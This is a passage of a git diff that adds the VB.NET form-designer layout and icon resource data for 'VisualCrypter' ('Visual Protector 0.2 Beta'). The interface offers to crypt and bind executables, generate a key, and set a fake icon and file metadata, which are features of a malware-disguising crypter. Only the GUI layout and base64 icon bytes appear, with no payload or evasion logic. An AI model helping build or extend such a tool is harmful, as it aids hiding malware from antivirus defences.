Me.VsButton5.Transparent = False + ' + 'Label6 + ' + Me.Label6.AutoSize = True + Me.Label6.ForeColor = System.Drawing.Color.White + Me.Label6.Location = New System.Drawing.Point(123, 186) + Me.Label6.Name = "Label6" + Me.Label6.Size = New System.Drawing.Size(12, 13) + Me.Label6.TabIndex = 21 + Me.Label6.Text = ":" + ' + 'Label7 + ' + Me.Label7.AutoSize = True + Me.Label7.ForeColor = System.Drawing.Color.White + Me.Label7.Location = New System.Drawing.Point(123, 156) + Me.Label7.Name = "Label7" + Me.Label7.Size = New System.Drawing.Size(12, 13) + Me.Label7.TabIndex = 20 + Me.Label7.Text = ":" + ' + 'Label8 + ' + Me.Label8.AutoSize = True + Me.Label8.ForeColor = System.Drawing.Color.White + Me.Label8.Location = New System.Drawing.Point(123, 127) + Me.Label8.Name = "Label8" + Me.Label8.Size = New System.Drawing.Size(12, 13) + Me.Label8.TabIndex = 19 + Me.Label8.Text = ":" + ' + 'Label9 + ' + Me.Label9.AutoSize = True + Me.Label9.ForeColor = System.Drawing.Color.White + Me.Label9.Location = New System.Drawing.Point(123, 98) + Me.Label9.Name = "Label9" + Me.Label9.Size = New System.Drawing.Size(12, 13) + Me.Label9.TabIndex = 18 + Me.Label9.Text = ":" + ' + 'Label10 + ' + Me.Label10.AutoSize = True + Me.Label10.ForeColor = System.Drawing.Color.White + Me.Label10.Location = New System.Drawing.Point(123, 69) + Me.Label10.Name = "Label10" + Me.Label10.Size = New System.Drawing.Size(12, 13) + Me.Label10.TabIndex = 17 + Me.Label10.Text = ":" + ' + 'VsTextBox9 + ' + Me.VsTextBox9.Customization = "/////0Y/P/8AAAD/Wlpa/w==" + Me.VsTextBox9.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VsTextBox9.Image = Nothing + Me.VsTextBox9.Location = New System.Drawing.Point(136, 181) + Me.VsTextBox9.MaxLength = 32767 + Me.VsTextBox9.Multiline = False + Me.VsTextBox9.Name = "VsTextBox9" + Me.VsTextBox9.NoRounding = False + Me.VsTextBox9.ReadOnly = False + Me.VsTextBox9.Size = New System.Drawing.Size(162, 24) + Me.VsTextBox9.TabIndex = 13 + Me.VsTextBox9.TextAlign = System.Windows.Forms.HorizontalAlignment.Left + Me.VsTextBox9.Transparent = False + Me.VsTextBox9.UseSystemPasswordChar = False + ' + 'VsTextBox8 + ' + Me.VsTextBox8.Customization = "/////0Y/P/8AAAD/Wlpa/w==" + Me.VsTextBox8.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VsTextBox8.Image = Nothing + Me.VsTextBox8.Location = New System.Drawing.Point(136, 151) + Me.VsTextBox8.MaxLength = 32767 + Me.VsTextBox8.Multiline = False + Me.VsTextBox8.Name = "VsTextBox8" + Me.VsTextBox8.NoRounding = False + Me.VsTextBox8.ReadOnly = False + Me.VsTextBox8.Size = New System.Drawing.Size(162, 24) + Me.VsTextBox8.TabIndex = 12 + Me.VsTextBox8.Text = " " + Me.VsTextBox8.TextAlign = System.Windows.Forms.HorizontalAlignment.Left + Me.VsTextBox8.Transparent = False + Me.VsTextBox8.UseSystemPasswordChar = False + ' + 'VsTextBox7 + ' + Me.VsTextBox7.Customization = "/////0Y/P/8AAAD/Wlpa/w==" + Me.VsTextBox7.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VsTextBox7.Image = Nothing + Me.VsTextBox7.Location = New System.Drawing.Point(136, 122) + Me.VsTextBox7.MaxLength = 32767 + Me.VsTextBox7.Multiline = False + Me.VsTextBox7.Name = "VsTextBox7" + Me.VsTextBox7.NoRounding = False + Me.VsTextBox7.ReadOnly = False + Me.VsTextBox7.Size = New System.Drawing.Size(162, 24) + Me.VsTextBox7.TabIndex = 11 + Me.VsTextBox7.Text = " " + Me.VsTextBox7.TextAlign = System.Windows.Forms.HorizontalAlignment.Left + Me.VsTextBox7.Transparent = False + Me.VsTextBox7.UseSystemPasswordChar = False + ' + 'VsTextBox6 + ' + Me.VsTextBox6.Customization = "/////0Y/P/8AAAD/Wlpa/w==" + Me.VsTextBox6.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VsTextBox6.Image = Nothing + Me.VsTextBox6.Location = New System.Drawing.Point(136, 93) + Me.VsTextBox6.MaxLength = 32767 + Me.VsTextBox6.Multiline = False + Me.VsTextBox6.Name = "VsTextBox6" + Me.VsTextBox6.NoRounding = False + Me.VsTextBox6.ReadOnly = False + Me.VsTextBox6.Size = New System.Drawing.Size(162, 24) + Me.VsTextBox6.TabIndex = 10 + Me.VsTextBox6.Text = " " + Me.VsTextBox6.TextAlign = System.Windows.Forms.HorizontalAlignment.Left + Me.VsTextBox6.Transparent = False + Me.VsTextBox6.UseSystemPasswordChar = False + ' + 'VsTextBox5 + ' + Me.VsTextBox5.Customization = "/////0Y/P/8AAAD/Wlpa/w==" + Me.VsTextBox5.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VsTextBox5.Image = Nothing + Me.VsTextBox5.Location = New System.Drawing.Point(136, 64) + Me.VsTextBox5.MaxLength = 32767 + Me.VsTextBox5.Multiline = False + Me.VsTextBox5.Name = "VsTextBox5" + Me.VsTextBox5.NoRounding = False + Me.VsTextBox5.ReadOnly = False + Me.VsTextBox5.Size = New System.Drawing.Size(162, 24) + Me.VsTextBox5.TabIndex = 9 + Me.VsTextBox5.Text = " " + Me.VsTextBox5.TextAlign = System.Windows.Forms.HorizontalAlignment.Left + Me.VsTextBox5.Transparent = False + Me.VsTextBox5.UseSystemPasswordChar = False + ' + 'Label5 + ' + Me.Label5.AutoSize = True + Me.Label5.Font = New System.Drawing.Font("Verdana", 8.5!) + Me.Label5.ForeColor = System.Drawing.Color.White + Me.Label5.Location = New System.Drawing.Point(47, 186) + Me.Label5.Name = "Label5" + Me.Label5.Size = New System.Drawing.Size(54, 14) + Me.Label5.TabIndex = 8 + Me.Label5.Text = "Version" + ' + 'Label4 + ' + Me.Label4.AutoSize = True + Me.Label4.Font = New System.Drawing.Font("Verdana", 8.5!) + Me.Label4.ForeColor = System.Drawing.Color.White + Me.Label4.Location = New System.Drawing.Point(47, 157) + Me.Label4.Name = "Label4" + Me.Label4.Size = New System.Drawing.Size(68, 14) + Me.Label4.TabIndex = 7 + Me.Label4.Text = "Copyright" + ' + 'Label3 + ' + Me.Label3.AutoSize = True + Me.Label3.Font = New System.Drawing.Font("Verdana", 8.5!) + Me.Label3.ForeColor = System.Drawing.Color.White + Me.Label3.Location = New System.Drawing.Point(47, 128) + Me.Label3.Name = "Label3" + Me.Label3.Size = New System.Drawing.Size(66, 14) + Me.Label3.TabIndex = 6 + Me.Label3.Text = "Company" + ' + 'Label2 + ' + Me.Label2.AutoSize = True + Me.Label2.Font = New System.Drawing.Font("Verdana", 8.5!) + Me.Label2.ForeColor = System.Drawing.Color.White + Me.Label2.Location = New System.Drawing.Point(47, 99) + Me.Label2.Name = "Label2" + Me.Label2.Size = New System.Drawing.Size(77, 14) + Me.Label2.TabIndex = 5 + Me.Label2.Text = "Description" + ' + 'Label1 + ' + Me.Label1.AutoSize = True + Me.Label1.Font = New System.Drawing.Font("Verdana", 8.5!) + Me.Label1.ForeColor = System.Drawing.Color.White + Me.Label1.Location = New System.Drawing.Point(47, 70) + Me.Label1.Name = "Label1" + Me.Label1.Size = New System.Drawing.Size(33, 14) + Me.Label1.TabIndex = 4 + Me.Label1.Text = "Title" + ' + 'VsButton4 + ' + Me.VsButton4.Customization = "Qj4+/zQzM///////mZmZ/8xwAP8=" + Me.VsButton4.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VsButton4.Image = Nothing + Me.VsButton4.Location = New System.Drawing.Point(251, 26) + Me.VsButton4.Name = "VsButton4" + Me.VsButton4.NoRounding = False + Me.VsButton4.Size = New System.Drawing.Size(50, 23) + Me.VsButton4.TabIndex = 3 + Me.VsButton4.Text = "*.Ico" + Me.VsButton4.Transparent = False + ' + 'VsTextBox4 + ' + Me.VsTextBox4.Customization = "/////0Y/P/8AAAD/Wlpa/w==" + Me.VsTextBox4.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VsTextBox4.Image = Nothing + Me.VsTextBox4.Location = New System.Drawing.Point(59, 26) + Me.VsTextBox4.MaxLength = 32767 + Me.VsTextBox4.Multiline = False + Me.VsTextBox4.Name = "VsTextBox4" + Me.VsTextBox4.NoRounding = False + Me.VsTextBox4.ReadOnly = False + Me.VsTextBox4.Size = New System.Drawing.Size(185, 24) + Me.VsTextBox4.TabIndex = 2 + Me.VsTextBox4.Text = "Browse Icon to Use" + Me.VsTextBox4.TextAlign = System.Windows.Forms.HorizontalAlignment.Left + Me.VsTextBox4.Transparent = False + Me.VsTextBox4.UseSystemPasswordChar = False + ' + 'PictureBox1 + ' + Me.PictureBox1.Location = New System.Drawing.Point(14, 22) + Me.PictureBox1.Name = "PictureBox1" + Me.PictureBox1.Size = New System.Drawing.Size(35, 30) + Me.PictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage + Me.PictureBox1.TabIndex = 0 + Me.PictureBox1.TabStop = False + ' + 'VsGroupBox1 + ' + Me.VsGroupBox1.BorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.VsGroupBox1.Controls.Add(Me.VsButton3) + Me.VsGroupBox1.Controls.Add(Me.VsTextBox3) + Me.VsGroupBox1.Controls.Add(Me.VsButton2) + Me.VsGroupBox1.Controls.Add(Me.VsTextBox2) + Me.VsGroupBox1.Controls.Add(Me.VsButton1) + Me.VsGroupBox1.Controls.Add(Me.VsTextBox1) + Me.VsGroupBox1.Customization = "NzMz//////8=" + Me.VsGroupBox1.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VsGroupBox1.Image = Nothing + Me.VsGroupBox1.Location = New System.Drawing.Point(14, 40) + Me.VsGroupBox1.Movable = True + Me.VsGroupBox1.Name = "VsGroupBox1" + Me.VsGroupBox1.NoRounding = False + Me.VsGroupBox1.Sizable = True + Me.VsGroupBox1.Size = New System.Drawing.Size(325, 118) + Me.VsGroupBox1.SmartBounds = True + Me.VsGroupBox1.StartPosition = System.Windows.Forms.FormStartPosition.Manual + Me.VsGroupBox1.TabIndex = 1 + Me.VsGroupBox1.Text = "Main :" + Me.VsGroupBox1.TransparencyKey = System.Drawing.Color.Empty + Me.VsGroupBox1.Transparent = False + ' + 'VsButton3 + ' + Me.VsButton3.Customization = "Qj4+/zQzM///////mZmZ/8xwAP8=" + Me.VsButton3.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VsButton3.Image = Nothing + Me.VsButton3.Location = New System.Drawing.Point(251, 84) + Me.VsButton3.Name = "VsButton3" + Me.VsButton3.NoRounding = False + Me.VsButton3.Size = New System.Drawing.Size(65, 23) + Me.VsButton3.TabIndex = 5 + Me.VsButton3.Text = "*.*" + Me.VsButton3.Transparent = False + ' + 'VsTextBox3 + ' + Me.VsTextBox3.Customization = "/////0Y/P/8AAAD/Wlpa/w==" + Me.VsTextBox3.Enabled = False + Me.VsTextBox3.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VsTextBox3.Image = Nothing + Me.VsTextBox3.Location = New System.Drawing.Point(11, 83) + Me.VsTextBox3.MaxLength = 32767 + Me.VsTextBox3.Multiline = False + Me.VsTextBox3.Name = "VsTextBox3" + Me.VsTextBox3.NoRounding = False + Me.VsTextBox3.ReadOnly = False + Me.VsTextBox3.Size = New System.Drawing.Size(228, 24) + Me.VsTextBox3.TabIndex = 4 + Me.VsTextBox3.Text = "Browse File to Bind" + Me.VsTextBox3.TextAlign = System.Windows.Forms.HorizontalAlignment.Left + Me.VsTextBox3.Transparent = False + Me.VsTextBox3.UseSystemPasswordChar = False + ' + 'VsButton2 + ' + Me.VsButton2.Customization = "Qj4+/zQzM///////mZmZ/8xwAP8=" + Me.VsButton2.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VsButton2.Image = Nothing + Me.VsButton2.Location = New System.Drawing.Point(251, 53) + Me.VsButton2.Name = "VsButton2" + Me.VsButton2.NoRounding = False + Me.VsButton2.Size = New System.Drawing.Size(65, 23) + Me.VsButton2.TabIndex = 3 + Me.VsButton2.Text = "Genrate" + Me.VsButton2.Transparent = False + ' + 'VsTextBox2 + ' + Me.VsTextBox2.Customization = "/////0Y/P/8AAAD/Wlpa/w==" + Me.VsTextBox2.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VsTextBox2.Image = Nothing + Me.VsTextBox2.Location = New System.Drawing.Point(11, 52) + Me.VsTextBox2.MaxLength = 32767 + Me.VsTextBox2.Multiline = False + Me.VsTextBox2.Name = "VsTextBox2" + Me.VsTextBox2.NoRounding = False + Me.VsTextBox2.ReadOnly = False + Me.VsTextBox2.Size = New System.Drawing.Size(228, 24) + Me.VsTextBox2.TabIndex = 2 + Me.VsTextBox2.Text = "Generate Unique Key" + Me.VsTextBox2.TextAlign = System.Windows.Forms.HorizontalAlignment.Left + Me.VsTextBox2.Transparent = False + Me.VsTextBox2.UseSystemPasswordChar = False + ' + 'VsButton1 + ' + Me.VsButton1.Customization = "Qj4+/zQzM///////mZmZ/8xwAP8=" + Me.VsButton1.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VsButton1.Image = Nothing + Me.VsButton1.Location = New System.Drawing.Point(251, 22) + Me.VsButton1.Name = "VsButton1" + Me.VsButton1.NoRounding = False + Me.VsButton1.Size = New System.Drawing.Size(65, 23) + Me.VsButton1.TabIndex = 1 + Me.VsButton1.Text = "*.Exe" + Me.VsButton1.Transparent = False + ' + 'VsTextBox1 + ' + Me.VsTextBox1.Customization = "/////0Y/P/8AAAD/Wlpa/w==" + Me.VsTextBox1.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VsTextBox1.Image = Nothing + Me.VsTextBox1.Location = New System.Drawing.Point(11, 21) + Me.VsTextBox1.MaxLength = 32767 + Me.VsTextBox1.Multiline = False + Me.VsTextBox1.Name = "VsTextBox1" + Me.VsTextBox1.NoRounding = False + Me.VsTextBox1.ReadOnly = False + Me.VsTextBox1.Size = New System.Drawing.Size(228, 24) + Me.VsTextBox1.TabIndex = 0 + Me.VsTextBox1.Text = "Browse File To Crypt" + Me.VsTextBox1.TextAlign = System.Windows.Forms.HorizontalAlignment.Left + Me.VsTextBox1.Transparent = False + Me.VsTextBox1.UseSystemPasswordChar = False + ' + 'VsControlBox1 + ' + Me.VsControlBox1.Anchor = CType((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) + Me.VsControlBox1.Customization = "8PDw//Dw8P8wLS3/8PDw/w==" + Me.VsControlBox1.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VsControlBox1.Image = Nothing + Me.VsControlBox1.Location = New System.Drawing.Point(617, 7) + Me.VsControlBox1.Name = "VsControlBox1" + Me.VsControlBox1.NoRounding = False + Me.VsControlBox1.Size = New System.Drawing.Size(44, 18) + Me.VsControlBox1.TabIndex = 0 + Me.VsControlBox1.Text = "VsControlBox1" + Me.VsControlBox1.Transparent = False + ' + 'Index + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.ClientSize = New System.Drawing.Size(672, 358) + Me.Controls.Add(Me.Theme1) + Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon) + Me.Name = "Index" + Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen + Me.Text = "Visual Protector 0.2(Beta)" + Me.Theme1.ResumeLayout(False) + Me.VsGroupBox4.ResumeLayout(False) + Me.VsGroupBox3.ResumeLayout(False) + Me.VsGroupBox2.ResumeLayout(False) + Me.VsGroupBox2.PerformLayout() + CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).EndInit() + Me.VsGroupBox1.ResumeLayout(False) + Me.ResumeLayout(False) + + End Sub + Friend WithEvents Theme1 As VisualCrypter.Theme + Friend WithEvents VsGroupBox1 As VisualCrypter.VSGroupBox + Friend WithEvents VsButton3 As VisualCrypter.VSButton + Friend WithEvents VsTextBox3 As VisualCrypter.VSTextBox + Friend WithEvents VsButton2 As VisualCrypter.VSButton + Friend WithEvents VsTextBox2 As VisualCrypter.VSTextBox + Friend WithEvents VsButton1 As VisualCrypter.VSButton + Friend WithEvents VsTextBox1 As VisualCrypter.VSTextBox + Friend WithEvents VsControlBox1 As VisualCrypter.VSControlBox + Friend WithEvents VsGroupBox2 As VisualCrypter.VSGroupBox + Friend WithEvents VsButton4 As VisualCrypter.VSButton + Friend WithEvents VsTextBox4 As VisualCrypter.VSTextBox + Friend WithEvents PictureBox1 As System.Windows.Forms.PictureBox + Friend WithEvents Label1 As System.Windows.Forms.Label + Friend WithEvents Label2 As System.Windows.Forms.Label + Friend WithEvents Label3 As System.Windows.Forms.Label + Friend WithEvents Label4 As System.Windows.Forms.Label + Friend WithEvents VsTextBox9 As VisualCrypter.VSTextBox + Friend WithEvents VsTextBox8 As VisualCrypter.VSTextBox + Friend WithEvents VsTextBox7 As VisualCrypter.VSTextBox + Friend WithEvents VsTextBox6 As VisualCrypter.VSTextBox + Friend WithEvents VsTextBox5 As VisualCrypter.VSTextBox + Friend WithEvents Label5 As System.Windows.Forms.Label + Friend WithEvents VsButton5 As VisualCrypter.VSButton + Friend WithEvents Label6 As System.Windows.Forms.Label + Friend WithEvents Label7 As System.Windows.Forms.Label + Friend WithEvents Label8 As System.Windows.Forms.Label + Friend WithEvents Label9 As System.Windows.Forms.Label + Friend WithEvents Label10 As System.Windows.Forms.Label + Friend WithEvents VsGroupBox4 As VisualCrypter.VSGroupBox + Friend WithEvents VsTextBox13 As VisualCrypter.VSTextBox + Friend WithEvents VsCheckbox1 As VisualCrypter.VSCheckbox + Friend WithEvents VsGroupBox3 As VisualCrypter.VSGroupBox + Friend WithEvents VsRadiobutton3 As VisualCrypter.VSRadiobutton + Friend WithEvents VsRadiobutton2 As VisualCrypter.VSRadiobutton + Friend WithEvents VsRadiobutton1 As VisualCrypter.VSRadiobutton + Friend WithEvents VsButton6 As VisualCrypter.VSButton + Friend WithEvents VsButton7 As VisualCrypter.VSButton + +End Class diff --git a/C# (Crypter Source/VisualCrypter/VisualCrypter/Index.resx b/C# (Crypter Source/VisualCrypter/VisualCrypter/Index.resx new file mode 100644 index 0000000..6c5cc84 --- /dev/null +++ b/C# (Crypter Source/VisualCrypter/VisualCrypter/Index.resx @@ -0,0 +1,700 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAUAQEAAAAEAIAAoQgAAVgAAADAwAAABACAAqCUAAH5CAAAgIAAAAQAgAKgQAAAmaAAAGBgAAAEA + IACICQAAzngAABAQAAABACAAaAQAAFaCAAAoAAAAQAAAAIAAAAABACAAAAAAAABCAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAQAA + AAIAAAADAAAAAwAAAAQAAAAEAAAABQAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAAAwAA + AAMAAAADAAAAAwAAAAIAAAABAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAQAA + AAEAAAACAAAAAgAAAAMAAAAFAAAABgAAAAcAAAAIAAAACQAAAAoAAAAJAAAACQAAAAkAAAAIAAAACAAA + AAgAAAAIAAAACAAAAAgAAAAHAAAABwAAAAYAAAAEAAAAAwAAAAIAAAABAAAAAQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAA + AAIAAAACAAAAAgAAAAMAAAAEAAAABQAAAAYAAAAHAAAACQAAAAsAAAANAAAADwAAABAAAAARAAAAEQAA + ABEAAAAQAAAAEAAAAA8AAAAPAAAADwAAAA8AAAAOAAAADgAAAA0AAAALAAAACQAAAAcAAAAFAAAAAwAA + AAIAAAACAAAAAQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAABAAAAAgAAAAIAAAAEAAAABQAAAAYAAAAHAAAACAAAAAoAAAALAAAADgAAABEAAAAUAAAAFwAA + ABkAAAAbAAAAHAAAABwAAAAcAAAAGwAAABoAAAAaAAAAGgAAABkAAAAZAAAAGAAAABcAAAAVAAAAEwAA + ABAAAAANAAAACgAAAAcAAAAGAAAABAAAAAMAAAADAAAAAgAAAAEAAAABAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAABAAAAAgAAAAMAAAAFAAAABwAAAAkAAAALAAAADQAAAA8AAAASAAAAFAAA + ABcAAAAbAAAAHwAAACMAAAAnAAAAKQAAACsAAAAsAAAAKwAAACoAAAApAAAAKAAAACgAAAAoAAAAJwAA + ACYAAAAkAAAAIgAAAB4AAAAaAAAAFQAAABEAAAAOAAAACwAAAAkAAAAIAAAABgAAAAUAAAAEAAAAAgAA + AAEAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAgAAAAQAAAAGAAAACQAAAAwAAAAPAAAAEwAA + ABYAAAAZAAAAHAAAACAAAAAkAAAAKQUFBTBBRERVV1tZdGRoZo1scW+kdHh3uWptbJ0AAAA8AAAAOwAA + ADoAAAA6GRkZRGhrapJWWFZwLS0tSAAAADEAAAAsAAAAJwAAACEAAAAcAAAAFwAAABMAAAAQAAAADgAA + AAsAAAAJAAAABwAAAAUAAAADAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAgAAAAQAAAAHAAAACgAA + AA4AAAATAAAAGAAAAB0AAAAiAAAAJgAAACsAAAAvAAAANAAAADo7PT1ihImH/4SJh/+Ljoz/kZST/5GT + k/+EiYf+LS0tagAAAFAAAABPAAAATmxwb7aIjYv/iI2L/4SJh/+AhYPsd316xV5iYn4AAAAwAAAAKQAA + ACQAAAAfAAAAGgAAABYAAAASAAAADwAAAAsAAAAIAAAABQAAAAMAAAABAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAACAAAAAwAA + AAUAAAAHAAAACwAAABAAAAAWAAAAHQAAACQAAAArNDQ0SGptbJQmJiZOAAAAQgAAAEcAAABNR0lHg4SJ + h//Hx8f/zs7O/87Ozv+ysrL/h4qI/2drasEAAABlAAAAZDI0MoKDiIb9qKio/8vLy/+8vLz/paem/4mM + jP92ennJAAAAQQAAADoAAAAzAAAALQAAACgAAAAiAAAAHQAAABcAAAASAAAADQAAAAkAAAAFAAAAAwAA + AAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAA + AAIAAAADAAAABAAAAAYAAAAJAAAADQAAABIAAAAYAAAAIAAAAClAQ0BSc3l2tIOIhvuEiYf/foOB6zAy + MnMAAABcAAAAYkhKSpqEiYf/ycnJ/87Ozv/Ozs7/s7Oz/5eYmP+Ch4X6ICIiiwoKCn51enjiiYyL/7S0 + tP/MzMz/zMzM/8LCwv+RlJP/bnJwxgAAAFUAAABOAAAARhISEkdpbGuTQENDUgAAACkAAAAiAAAAGwAA + ABQAAAAOAAAACQAAAAUAAAADAAAAAQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAQAAAAIAAAADAAAABQAAAAgAAAALAAAADwAAABQAAAAbAAAAIzE1MUJ3fHq9hImH/ouP + jf+mp6b/paWl/4uOjf+BhoT2PD09lwAAAHdMT02wiYyL/8nJyf/Ozs7/zs7O/7Ozs/+np6f/ioyM/3uB + f/J4fHvthImH/6Giof+1tbX/zMzM/8zMzP/CwsL/kZST/2RoZcMAAABqAAAAYjU3NXt8gYDkhYqI/4OI + hvtwdHOlISUlPAAAACUAAAAcAAAAFQAAAA4AAAAKAAAABgAAAAQAAAACAAAAAQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAADAAAABQAAAAgAAAAMAAAAEQAAABcAAAAeAAAAJgAA + ADAsLyxQhImH/q+wsP/Q0ND/y8vL/6qqqv+qqqr/jY+O/4OIhv9tcG/de3998Y+RkP/Kysr/zs7O/87O + zv+0tLT/p6en/5qamv+Gh4f/gYKC/5OTk/+pqan/tbW1/8zMzP/MzMz/wsLC/5WYl/9gY2LLDg4OhFda + WreCh4X7i46M/5WVlf+IiYj/hIiG/4KGhO5kZmZ+AAAAJwAAAB0AAAAWAAAADwAAAAoAAAAHAAAABAAA + AAMAAAABAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAACAAAABQAAAAgAAAANAAAAEgAA + ABkAAAAhAAAAKgAAADQAAAA/AAAATHB0c8jLy8v/1dXV/8/Pz/+srKz/q6ur/5+fn/+Pj4//gYOC/4mK + iv+kpKT/ysrK/87Ozv/Ozs7/tLS0/6enp/+bm5v/j4+P/4eHh/+YmJj/qamp/7m5uf/MzMz/zMzM/8LC + wv+enp7/hImH/4KHhfyDiIb/i4yM/6Wlpf+Xl5f/jIyM/4aGhv9/goD/hImH/wUFBTYAAAAoAAAAHwAA + ABcAAAAQAAAACwAAAAgAAAAFAAAAAwAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAABAAA + AAgAAAAMAAAAEgAAABoAAAAjRUhFUEZJSWEAAABEAAAAUAAAAF4wMjKIy8zL/9nZ2f/T09P/ra2t/6ur + q/+fn5//kpKS/4WFhf+VlZX/p6en/8rKyv/Q0ND/1dXV/8XFxf+srKz/m5ub/4+Pj/+Hh4f/mJiY/6mp + qf++vr7/zMzM/8zMzP/CwsL/p6en/5OTk/+IiYn/h4eH/5eXl/+np6f/lpaW/4qKiv+FhYX/f4CA/4KH + hfcAAABCAAAANQAAACoAAAAgAAAAGAAAABEAAAAMAAAACAAAAAQAAAACAAAAAQAAAAAAAAAAAAAAAAAA + AAAAAAABAAAAAwAAAAYAAAALAAAAEQAAABkAAAAjSkpKVYKHhfKEiYf/fIGA5FteXasfISGBAAAAfczN + zPjc3Nz/1tbW/6+vr/+srKz/n5+f/5KSkv+Ghob/lZWV/83Nzf/19fX/9PT0//Py8//w7/H/zs7O/5ub + m/+Pj4//h4eH/5iYmP+srKz/8PDw//T09P/r6+v/3t7e/7+/v/+bm5v/jY2N/4iIiP+Xl5f/p6en/5SU + lP+IiIj/goKC/3+Af/9/g4LwAAAAUgAAAEQAAAA3AAAALAAAACEAAAAYAAAAEQAAAAsAAAAHAAAABAAA + AAEAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAQAAAAJAAAADwAAABYAAAAgRUhIUIGHhO+ho6P/paam/5OV + lP+Gioj/hImH/32CgPXKzMv/4ODg/9ra2v+zs7P/rKys/5+fn/+SkpL/hoaG/5SUlP/Z2dn/7Ovx/7q0 + zv+xq8j/ysfa/+jo6v+fn5//j4+P/4eHh/+YmJj/zMzM/+3s8P/Iw9n/0s/b/+vr7f/t7e3/oaGh/42N + jf+IiIj/mJiY/6ioqP+UlJT/hYWF/4CAgP9+f3//en996gAAAGMxMzFwZGhmnHl9fMZITExQAAAAIQAA + 